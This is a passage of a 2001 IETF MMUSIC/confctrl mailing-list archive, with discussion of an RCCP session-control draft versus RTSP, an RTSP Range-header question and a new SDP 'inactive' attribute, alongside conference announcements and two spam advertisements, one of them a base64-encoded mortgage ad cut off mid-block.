tf-rmt-mgl-pi-rccp-00-7-11-2001.txt>http://www.digitalfountain.com/getDocume
nt.htm/technology/library/draft-ietf-rmt-mgl-pi-rccp-00-7-11-2001.txt
> >
> >This document describes the Rich Content Control Protocol (RCCP), a
session
> >control protocol for client initiated  content delivery.  The content in
> >question may be a file, a stream or some other form of content.  The RCCP
> >protocol  itself, however, is independent of the type of the content.
RCCP
> >offers support for both multicast and unicast  delivery.
> >
> >Some of the key properties and goals of RCCP are:
> >
> >(1) Initiation of the session including communication of the session
> >description to clients.
> >(2) Session monitoring to facilitate server side accounting.
> >(3) Session teardown, facilitating server side accounting and collection
of
> >client statistics.
> >(4) Initiation and high level control of data packet reception.
> >(5) Prevention of some types of DoS attacks on servers.
> >(3) The ability to either directly or after configuration allow delivery
of
> >content through firewalls.
>
> Mike & RMT (cc. MMUSIC),
>
> I think such a protocol is needed, but at this point I'm not convinced
that
> it should be a completely new protocol.  Instead, we should consider
> whether such a protocol could be built upon the existing RTSP protocol -
> the IETF standard control protocol for multimedia (AVT) sessions.  RTSP
> already addresses many of the issues that you outline for your control
> protocol.  While RTSP currently uses SDP - which is probably not rich
> enough to describe reliable transport sessions - the 'next generation' of
> SDP (nicknamed "SDPng") will be flexible enough to describe such
> sessions.  Presumably there can also be a "RTSPng" which can make use of
> "SDPng", as well as having sufficient flexiblity to describe reliable
> transport sessions.
>
> Using RTSP (or "RTSPng") as the control protocol for reliable transport
> sessions has several benefits over using a completely new protocol:
> - Some multimedia sessions might include both streaming media (audio
and/or
> video) and reliable data delivery.  It would be beneficial to use the same
> control protocol for all parts of such a session.
> - Some future RTP payload formats may include reliable (or semi-reliable)
> delivery for part of its data.  (E.g., a RTP payload format for Vorbis
> audio will likely need to include a reliable delivery mechanism for
> transporting 'codebooks' to receivers.)  Ideally, all of the
> parameters/attributes for such a session should be described in SDP (or
SDPng).
> - Some client tools may end up being used to receive/display both A/V
> streams, and reliably-delivered files.  It would simplify the
> implementation of such clients if they could use a single control
protocol,
> rather than using one for A/V streams, and another for reliable data
transport.
> - Ditto for servers - if the same server implementation ends up being used
> to serve both A/V streams and RMT data.
>
>          Ross.
>



From confctrl-owner  Wed Aug  8 20:49:25 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA18933
	for confctrl-outgoing; Wed, 8 Aug 2001 20:49:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA18927
	for <confctrl@zephyr.isi.edu>; Wed, 8 Aug 2001 20:49:24 -0700 (PDT)
Received: from minotaur.nge.isi.edu (minotaur.nge.isi.edu [65.114.169.202])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f793nQm06720;
	Wed, 8 Aug 2001 20:49:26 -0700 (PDT)
Received: from minotaur (mankin@localhost)
	by minotaur.nge.isi.edu (8.11.2/8.11.2) with ESMTP id f793nHI04291;
	Wed, 8 Aug 2001 23:49:18 -0400
Message-Id: <200108090349.f793nHI04291@minotaur.nge.isi.edu>
To: "Michael Luby" <luby@digitalfountain.com>
cc: "Rob Lanphier" <robla@real.com>, "Ross Finlayson" <finlayson@live.com>,
        "Rmt@Lbl. Gov" <rmt@lbl.gov>, confctrl@ISI.EDU,
        "Allison Mankin" <mankin@ISI.EDU>, sob@harvard.edu
Reply-To: mankin@ISI.EDU
Subject: Re: Session control protocol instantiation discussion within the IETF 
In-reply-to: Your message of Wed, 08 Aug 2001 20:37:44 -0700.
             <LEECJKFLPDAKCKACKOIBEEFHCAAA.luby@digitalfountain.com> 
Date: Wed, 08 Aug 2001 23:49:17 -0400
From: Allison Mankin <mankin@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mike,

We ADs would be happy to talk with you about this sometime (but after 
we all recover from IETF).  

Having had one hallway talk with you while you were in London,
I think there is some value to discussing session work (without
prejudging if it would extend an existing charter or start up in
a new situation of some sort).

Mike Luby wrote:
> All,
> I unfortunately was only at the IETF for a couple of days, and am back in
> the Bay Area now.  I would first like to talk with the transport area
> directorate (Scott and Allison) to get some advice on this, and then
> probably followup with a conference call with whoever is interested.  Would
> a conference call be ok with you Rob, Ross (and whoever else is
> interested?).
> Mike
> 


From confctrl-owner  Thu Aug  9 05:14:50 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA14896
	for confctrl-outgoing; Thu, 9 Aug 2001 05:14:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA14891
	for <confctrl@zephyr.isi.edu>; Thu, 9 Aug 2001 05:14:48 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f79CEqm29782
	for <confctrl@ISI.EDU>; Thu, 9 Aug 2001 05:14:52 -0700 (PDT)
Received: from DUENNMANN.tzi.org (rasen.informatik.uni-bremen.de [134.102.218.99])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f79CEVJ15890
	for <confctrl@ISI.EDU>; Thu, 9 Aug 2001 14:14:33 +0200 (MEST)
To: confctrl@ISI.EDU
Subject: SDPng slides
From: Dirk Kutscher <dku@tzi.org>
Date: 09 Aug 2001 14:11:56 +0200
Message-ID: <usnf11lgz.fsf@tzi.org>
Lines: 7
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


... are available at

http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/ietf51/sdpng-ietf51.pdf

-- 
	Dirk


From confctrl-owner  Thu Aug  9 12:12:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA07631
	for confctrl-outgoing; Thu, 9 Aug 2001 12:12:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA07626
	for <confctrl@zephyr.isi.edu>; Thu, 9 Aug 2001 12:12:45 -0700 (PDT)
Received: from idms.lancs.ac.uk (IDENT:root@idms.lancs.ac.uk [148.88.155.240])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f79JCom11809
	for <confctrl@isi.edu>; Thu, 9 Aug 2001 12:12:50 -0700 (PDT)
Received: (from doug@localhost)
	by idms.lancs.ac.uk (8.11.0/8.11.0) id f79JL4O28214
	for confctrl@isi.edu; Thu, 9 Aug 2001 20:21:04 +0100
Date: Thu, 9 Aug 2001 20:21:04 +0100
Message-Id: <200108091921.f79JL4O28214@idms.lancs.ac.uk>
From: "Doug Shepherd" <announce@idms.lancs.ac.uk>
Reply-To: <announce@idms.lancs.ac.uk>
Subject: *** IDMS 2001: Early Registration ends SOON ***
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> We apologize if you receive multiple copies of this. <--
[Please feel free to distribute a copy of this call
to those who might be interested.]

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!! Early registration ends on August 15th !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

*** CALL FOR PARTICIPATION ***

and

*** Call for Demonstrations and Poster session ***


IDMS 2001
8th International Workshop on
Interactive Distributed Multimedia Systems

September 4-7, 2001, Lancaster, UK
http://www.idms2001.org

in cooperation with 
ACM SIGCOMM 
ACM SIGMM
IPv6 Forum

Sponsors:
  Agilent Laboratories
  BTexact Technologies
  Hewlett Packard Laboratories
  Microsoft Research
  Orange
  Sony Electronics

The aim of the IDMS series of workshops is to bring together
researchers, developers, and practitioners from academia and
industry to provide a forum for discussion, presentation and
exploration of technologies and advances in the broad field
of interactive distributed multimedia systems.

IDMS 2001 has a balanced programme with

- one day of tutorials on

  * IP telephony
    by Ralf Steinmetz and Manuel Goertz, 
       Darmstadt University of Technology, Germany

  * IPv6 trials (deployment and transitioning)
    by, among others, speakers from the IPv6 Forum, BT, Cisco and
        academia

  * Interactive Distributed Multimedia Systems (IDMS) for Consumer
    Electronics
    by Andras Montvay, Peter van der Stock and Rob Udink
       Philips Research Laboratories (Germany and The Netherlands)
     
  * Mobile IPv6
    by Joe Finney, Lancaster University, UK
    and Greg O'Shea, Microsoft Research, UK

followed by two and a half days of technical sessions, comprising

- 3 invited talks:

  * QoS for Multimedia -- What is going to make it pay?
    by Dr. Derek McAuley, Marconi Labs, UK

  * Enabling the Internet to provide Multimedia Services
    by Dr. Markus Hofmann, Bell Labs, Holmdel, NJ, USA

  * MPEG-21 Standard: Why an Open Multimedia Framework?
    by Prof. Fernando Pereira, IST, Portugal

and sessions on
  * Media Distribution
  * QoS Issues in Multimedia
  * Multimedia Middleware
  * Congestion Control and Adaptation
  * Control of Multimedia Networks
  * 2 short/position paper sessions

without forgetting a complete social programme designed for maximum
interaction amongst participants, including 
* the workshop Banquet in Leighton Hall, a somptuous historic stately
  house and gardens, set in the majestic Northwestern English hills
* organised lunches and evening meals
* organised accomodation 

We are also interested in receiving information about proto-
type multimedia systems relevant to IDMS which could be 
demonstrated at the workshop. Furthermore, poster sessions
will also be organised to allow delegates to disseminate
their research ideas and results in a more interactive way.
For more information or to submit a demonstration or poster proposal,
please contact, as soon as possible, the local organising committee 
at local@idms2001.org.

Detailed information of the workshop, including programme, registration
and accommodation, is available at:

http://www.idms2001.org

The workshop is being organised by the
Distributed Multimedia Research Group,
Computing Department,
Lancaster University, UK.

Prof. Doug Shepherd, Programme Chair



From confctrl-owner  Fri Aug 10 07:12:00 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA02239
	for confctrl-outgoing; Fri, 10 Aug 2001 07:12:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA02223
	for <confctrl@zephyr.isi.edu>; Fri, 10 Aug 2001 07:11:58 -0700 (PDT)
Received: from hoo.cdr-house.com ([194.154.203.162])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7AEC2m08687
	for <confctrl@isi.edu>; Fri, 10 Aug 2001 07:12:03 -0700 (PDT)
Message-Id: <200108101412.f7AEC2m08687@tnt.isi.edu>
Received: from acc ([194.154.203.174]) by hoo.cdr-house.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id com for <confctrl@isi.edu>;
          Fri, 10 Aug 2001 16:00:08 +0200
Date: Fri, 10 Aug 2001 16:06:51 +0100
MIME-Version: 1.0
X-Mailer: J4L-GFIMailer
X-Expid: jajenardmeremesyi
To: confctrl@ISI.EDU
Subject: Telecom Billing, CDR, Online invoicing
Reply-To: News@CDR-House.com
X-Priority: 3
X-JMSavedFile: C:\Program Files\HTML Mailer\Outbound 29434277-2078532288\mail1878.eml
From: "CDR House" <News@CDR-House.com>
Content-Transfer-Encoding: 8bits
Content-Type: text/plain; charset="ISO-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This communication is being sent to you in good faith
in the belief that it is of relevance and of use to you.
*******************************************************


http://www.CDR-House.com


CDR processing, Online Billing and reporting with full control
and unprecedented security.

- No license fee.
- No per-seat charge.
- No in-house headaches and delays.

- Unlimited and real-time built on powerful NT and SQL servers.

- Access and control from anywhere in the world.

- Download/print options in PDF, Word, Excel or Text.

- Unlimited promotional programs.

- For Telecom companies of all sizes.


http://www.CDR-House.com



From confctrl-owner  Sun Aug 12 12:56:24 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA00275
	for confctrl-outgoing; Sun, 12 Aug 2001 12:56:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA00270
	for <confctrl@zephyr.isi.edu>; Sun, 12 Aug 2001 12:56:23 -0700 (PDT)
Received: from kasenna.com (mail.kasenna.com [208.253.201.4])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f7CJuSm22044
	for <confctrl@isi.edu>; Sun, 12 Aug 2001 12:56:28 -0700 (PDT)
Received: (qmail 2737056 invoked from network); 12 Aug 2001 19:56:20 -0000
Received: from unknown (HELO butter.kasenna.com) (10.10.4.217)
  by mail.kasenna.wan with SMTP; 12 Aug 2001 19:56:20 -0000
Message-Id: <4.3.2.7.2.20010812124742.00b45968@mail.kasenna.wan>
X-Sender: kordale@mail.kasenna.wan
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Sun, 12 Aug 2001 13:01:10 -0700
To: confctrl@ISI.EDU
From: Ram Kordale <kordale@kasenna.com>
Subject: Bug in RTSP spec (RFC 2326)?
Cc: kordale@kasenna.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Is the following a bug in the RTSP spec?

- The spec says that the time range in the Range header is a half-open
interval. Given this, if a player wants to play a movie of duration of d
seconds from start to finish, it has atleast 2 choices:
1 - give a range of "0-"   OR
2 - give a range of "0-d+1"

In (2), the player deliberately specifies the "to" part to be beyond the
range of the movie to accommodate the above "half-open" policy of the
spec.

If the player uses (2), the end range is beyond the end of the movie
and so the spec requires that the server respond with "Invalid range"
error.

Is the fix for the spec to say that if the player requires that it receive
data until the end, it should not specify the "to" part of the range. So,
in the above example, it should choose (1) and not (2)?

Thanks.
Ram


From confctrl-owner  Tue Aug 14 14:02:33 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA05737
	for confctrl-outgoing; Tue, 14 Aug 2001 14:02:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA05732
	for <confctrl@zephyr.isi.edu>; Tue, 14 Aug 2001 14:02:32 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7EL25m27525;
	Tue, 14 Aug 2001 14:02:06 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f7EL1tO14976;
	Tue, 14 Aug 2001 23:01:55 +0200 (MEST)
Received: from lmf.ericsson.se (rmt160135.am.ericsson.se [138.85.160.135])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id XAA00245;
	Tue, 14 Aug 2001 23:01:50 +0200 (MET DST)
Message-ID: <3B7994CE.E23C1704@lmf.ericsson.se>
Date: Wed, 15 Aug 2001 00:14:54 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <csp@ISI.EDU>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <200108051942.PAA07784@purple.east.isi.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hello Colin,

Colin Perkins wrote:
> >OK, we can call the "on hold" scenario I just described as a
> >"temporarily disabled media" (the latter is probably more accurate).
> >Anyway, we still need the new tag. I do not really care if we call it
> >neithersendnorrecv, nomedia or inactive. However, as Christer suggested,
> >in order to be consistent with other protocols we can use "inactive".
> >
> >Anyway, my question is: Colin, do you think that such a tag should be
> >included in SDPnew? Otherwise we can write a half-page draft defining
> >this attribute.
> 
> I don't see the need for a new draft, so if there's consensus on this, send
> me some suggested wording.
> 

In page 25 of:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-03.txt

we have to add the following attribute:

a=inactive
    This specifies that the tools should be started in inactive
    mode.  This is necessary for interactive conferences where users can
put other users on hold. No media is sent over an inactive media stream.
It can be either a session or media attribute, and is not dependent on
charset.


When you make the change let us know, since RFC2543bis will have to be
updated as well.

Best regards,

Gonzalo


> Colin

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Wed Aug 15 02:30:09 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA06625
	for confctrl-outgoing; Wed, 15 Aug 2001 02:30:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA06620
	for <confctrl@zephyr.isi.edu>; Wed, 15 Aug 2001 02:30:08 -0700 (PDT)
Received: from purple.east.isi.edu (purple.cs.ucl.ac.uk [128.16.64.86])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7F9UEm00924
	for <confctrl@ISI.EDU>; Wed, 15 Aug 2001 02:30:15 -0700 (PDT)
Received: from purple (localhost [127.0.0.1])
	by purple.east.isi.edu (8.9.3/8.9.3) with ESMTP id FAA02381;
	Wed, 15 Aug 2001 05:30:24 -0400
Message-Id: <200108150930.FAA02381@purple.east.isi.edu>
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold 
In-Reply-To: Your message of "Wed, 15 Aug 2001 00:14:54 +0300."
             <3B7994CE.E23C1704@lmf.ericsson.se> 
Date: Wed, 15 Aug 2001 10:30:23 +0100
From: Colin Perkins <csp@purple.cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've made the change to my working copy, and will try to submit a revision
in the next couple of weeks (there are a few other changes in progress).

Colin



--> Gonzalo Camarillo writes:
>
>Hello Colin,
>
>Colin Perkins wrote:
>> >OK, we can call the "on hold" scenario I just described as a
>> >"temporarily disabled media" (the latter is probably more accurate).
>> >Anyway, we still need the new tag. I do not really care if we call it
>> >neithersendnorrecv, nomedia or inactive. However, as Christer suggested,
>> >in order to be consistent with other protocols we can use "inactive".
>> >
>> >Anyway, my question is: Colin, do you think that such a tag should be
>> >included in SDPnew? Otherwise we can write a half-page draft defining
>> >this attribute.
>> 
>> I don't see the need for a new draft, so if there's consensus on this, send
>> me some suggested wording.
>> 
>
>In page 25 of:
>http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-03.txt
>
>we have to add the following attribute:
>
>a=inactive
>    This specifies that the tools should be started in inactive
>    mode.  This is necessary for interactive conferences where users can
>put other users on hold. No media is sent over an inactive media stream.
>It can be either a session or media attribute, and is not dependent on
>charset.
>
>
>When you make the change let us know, since RFC2543bis will have to be
>updated as well.
>
>Best regards,
>
>Gonzalo
>
>
>> Colin
>
>-- 
>Gonzalo Camarillo                    Phone :   +1 212 939 71 71
>Columbia University                  Mobile:  +358 40 702 35 35
>472 Computer Science Building        Fax   :  +358  9 299 30 52
>1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
>New York, NY 10027                   
>USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Thu Aug 16 12:15:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA24672
	for confctrl-outgoing; Thu, 16 Aug 2001 12:15:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA24667
	for <confctrl@zephyr.isi.edu>; Thu, 16 Aug 2001 12:15:42 -0700 (PDT)
Received: from igw3.watson.ibm.com (igw3.watson.ibm.com [198.81.209.18])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7GJFnm00353;
	Thu, 16 Aug 2001 12:15:50 -0700 (PDT)
Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62])
	by igw3.watson.ibm.com (8.11.4/8.11.4) with ESMTP id f7GJFZe32684;
	Thu, 16 Aug 2001 15:15:35 -0400
Received: from orinoco.watson.ibm.com (orinoco.watson.ibm.com [9.2.16.142])
	by sp1n189at0.watson.ibm.com (8.11.4/8.11.4) with ESMTP id f7GJFZ017892;
	Thu, 16 Aug 2001 15:15:35 -0400
Received: (from nahum@localhost)
	by orinoco.watson.ibm.com (AIX4.3/8.9.3/8.9.3/01-10-2000) id PAA38104;
	Thu, 16 Aug 2001 15:15:34 -0400
From: Erich Nahum <nahum@watson.ibm.com>
Message-Id: <200108161915.PAA38104@orinoco.watson.ibm.com>
Subject: Final call for participation: SIGCOMM 2001
To: conf@colmar.uha.fr, confctrl@ISI.EDU, cost237-transport@comp.lancs.ac.uk,
        Cost264@lip6.fr, dbworld@cs.wisc.edu, domain3@BXL.DG13.cec.eu.int,
        end2end-interest@ISI.EDU, f-troup@CODEX.cis.upenn.edu,
        gi-fb3@fokus.gmd.de, gigabitkits@arl.wustl.edu
Date: Thu, 16 Aug 2001 15:15:34 -0400 (EDT)
Reply-to: nahum@watson.ibm.com (Erich M. Nahum)
X-Url: http://www.research.ibm.com/people/n/nahum/
X-Mailer: ELM [version 2.5 PL2]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Note electronic registration closes August 17th (this Friday)!
After this date only on-site registration will be available.

                        Call for Participation
                     ACM SIGCOMM 2001 Conference

                     August 27 - August 31, 2001
              University of California, San Diego, CA USA
                 http://www.acm.org/sigcomm/sigcomm2001

ACM SIGCOMM 2001 is the annual conference of the Special Interest
Group on Data Communication (SIGCOMM), a single-track, highly
selective conference with a technical program of 23 papers, tutorials
by noted instructors on the two days prior, and a panel discussion.

Registration details are available at the SIGCOMM website above.

Tutorials

SIGCOMM 2001 begins with two days of full- and half-day tutorials covering 
single topics in detail at both the introductory and advanced level.  
Space is still available.  Tutorials offered this year are:

 - Wireless Data
     Phil Karn, Qualcomm, Inc.
 - Traffic Measurement for IP Operations
     Matt Grossglauser and Jennifer Rexford, AT&T
 - Interdomain Routing and BGP
     Timothy G. Griffin, AT&T
 - Equilibrium and Dynamics of TCP
     Prof. Steven H. Low, California Inst. of Technology
 - Algorithms for Networks: Some Techniques for Design and Analysis
     Ashish Goel, University of Southern California
     Nick McKeown and Balaji Prabhakar, Stanford University

SIGCOMM Award

The SIGCOMM Award is given annually to a person whose career and
technical achievements demonstrate a long-term commitment to the field
of data communications. ACM SIGCOMM is pleased to announce that the 2001
SIGCOMM Award is being given to Van Jacobson of Packet Design, Inc.
Van Jacobson will receive the award and give the conference keynote
address in the opening session on Wednesday.

Support from Cisco, IBM, Deloitte and Touche, PMC-Sierra, Marconi,
Procket Networks, Agilent Technologies, Microsoft Research, and
USC/ISI is gratefully acknowledged.

From confctrl-owner  Fri Aug 17 21:09:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA15704
	for confctrl-outgoing; Fri, 17 Aug 2001 21:09:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA15692
	for <confctrl@zephyr.isi.edu>; Fri, 17 Aug 2001 21:09:10 -0700 (PDT)
Received: from dfw-smtpout1.email.verio.net (dfw-smtpout1.email.verio.net [129.250.36.41])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7I49Im05933;
	Fri, 17 Aug 2001 21:09:18 -0700 (PDT)
Received: from [129.250.38.64] (helo=dfw-mmp4.email.verio.net)
	by dfw-smtpout1.email.verio.net with esmtp
	id 15XxQ8-0006f3-00; Sat, 18 Aug 2001 04:09:12 +0000
Received: from [63.184.75.161] (helo=localhost)
	by dfw-mmp4.email.verio.net with esmtp
	id 15XxQ2-0001qY-00; Sat, 18 Aug 2001 04:09:07 +0000
X-Sender: robertlong@veriomail.com
From: Bob Long <robertlong@veriomail.com>
To: "Mortgage Rate Info" <robertlong@veriomail.com>
Date: Fri, 17 Aug 2001 21:15:14 -0700
Subject: Need a Home Loan? We Can Help!!
Reply-To: robertlong@veriomail.com
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001__674584_76514.06"
Message-Id: <E15XxQ2-0001qY-00@dfw-mmp4.email.verio.net>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a Multipart MIME message.

------=_NextPart_000_001__674584_76514.06
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit



------=_NextPart_000_001__674584_76514.06
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: base64

DQoNCjxIVE1MPg0KDQo8aGVhZD4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIg
Q09OVEVOVD0idGV4dC9odG1sO2NoYXJzZXQ9aXNvLTg4NTktMSI+DQo8IURPQ1RZUEUgSFRN
TCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wIFRyYW5zaXRpb25hbC8vRU4iPg0KPFRJ
VExFPkZyZWUgUmF0ZSBRdW90ZTwvVElUTEU+DQo8TUVUQSBjb250ZW50PSJ0ZXh0L2h0bWw7
IGNoYXJzZXQ9aXNvLTg4NTktMSIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+PFhNRVRBIA0K
Y29udGVudD0iTW96aWxsYS80LjcgW2VuXSAoV2luOTg7IEkpIFtOZXRzY2FwZV0iIG5hbWU9
IkdFTkVSQVRPUiI+DQo8TUVUQSBjb250ZW50PSJNaWNyb3NvZnQgRnJvbnRQYWdlIDQuMCIg
bmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwvSEVBRD4NCjxCT0RZIGJhY2tn
cm91bmQ9aHR0cDovLzIxNy42Ny4yMzAuMTUvbW9uZXlfZ3IuanBnIGJnQ29sb3I9I2ZmZmZm
ZiBiZ3Byb3BlcnRpZXM9ImZpeGVkIj4NCjxESVYgc3R5bGU9IkZPTlQ6IDEwcHQgYXJpYWwi
Pg0KPERJVj4mbmJzcDs8L0RJVj48L0RJVj4NCjxESVY+PEJSPjwvRElWPg0KPFAgYWxpZ249
Y2VudGVyPjxlbT48Yj48Zm9udCBjb2xvcj0iI2ZmMDAwMCIgc2l6ZT0iNiI+JnF1b3Q7UmVm
aW5hbmNpbmcgWW91cg0KQ3VycmVudCBNb3J0Z2FnZSBNYWtlcyAkZW5zZSEmcXVvdDs8L2Zv
bnQ+PC9iPjwvZW0+PC9QPg0KPHAgYWxpZ249ImNlbnRlciI+PGI+PGZvbnQgc2l6ZT0iNCI+
TW9ydGdhZ2UgUmF0ZXMgQXJlIFNvIExvdyEmbmJzcDs8L2ZvbnQ+PC9iPjwvcD4NCjxwIGFs
aWduPSJjZW50ZXIiPjxiPjxmb250IHNpemU9IjQiPllvdSBDYW4gU2F2ZSBUaG91c2FuZHMg
T2YgRG9sbGFycyBCeSBUYWtpbmcNCkFkdmFudGFnZSBOb3chPC9mb250PjwvYj48L3A+DQo8
UCBhbGlnbj1jZW50ZXI+PEVNPjxCPjxGT05UIGNvbG9yPSNmZjAwMDAgc2l6ZT01PiZxdW90
O1dFIEFSRSBBTiBBU1NPQ0lBVElPTiBPRg0KTU9SVEdBR0UgQlJPS0VSUyBBTkQgTEVOREVS
UyA8L0ZPTlQ+PC9CPjwvRU0+PC9QPg0KPFAgYWxpZ249Y2VudGVyPjxFTT48Qj48Rk9OVCBj
b2xvcj0jZmYwMDAwIHNpemU9NT5XSVRIIFRIRSBCRVNUIFJBVEVTIEFORCBUSEUgTE9XRVNU
DQpDT1NUUyEmcXVvdDwvRk9OVD48L0I+PC9FTT48L1A+DQo8cCBhbGlnbj0iY2VudGVyIj4m
bmJzcDs8L3A+DQo8UCBhbGlnbj1jZW50ZXI+PEZPTlQgY29sb3I9IzAwMDBmZiBzaXplPTQ+
PEI+V2UmbmJzcDtoYXZlIHRob3VzYW5kcyBvZiBsb2FuIA0KcHJvZ3JhbXMgdGhyb3VnaCBo
dW5kcmVkcyBvZiBsZW5kZXJzITxCUj48L0I+PC9GT05UPjxGT05UIHNpemU9Mz48L0ZPTlQ+
PC9QPg0KPFAgYWxpZ249Y2VudGVyPjxTVFJPTkc+PEZPTlQgc2l6ZT01PllvdSBjYW4gY2hv
b3NlIGZyb20mbmJzcDsiQWRqdXN0YWJsZSBSYXRlDQpNb3J0Z2FnZXMgDQphcyBsb3cgYXMg
My45NSUmcXVvdDs8L0ZPTlQ+PC9TVFJPTkc+PC9QPg0KPFAgYWxpZ249Y2VudGVyPjxTVFJP
Tkc+PEZPTlQgc2l6ZT01PmFuZCZuYnNwOyJGaXhlZCBSYXRlIE1vcnRnYWdlcyBhcyBsb3cg
YXMNCjYuNTAlJm5ic3A7PC9GT05UPjwvU1RST05HPjwvUD4NCjxQIGFsaWduPWNlbnRlcj48
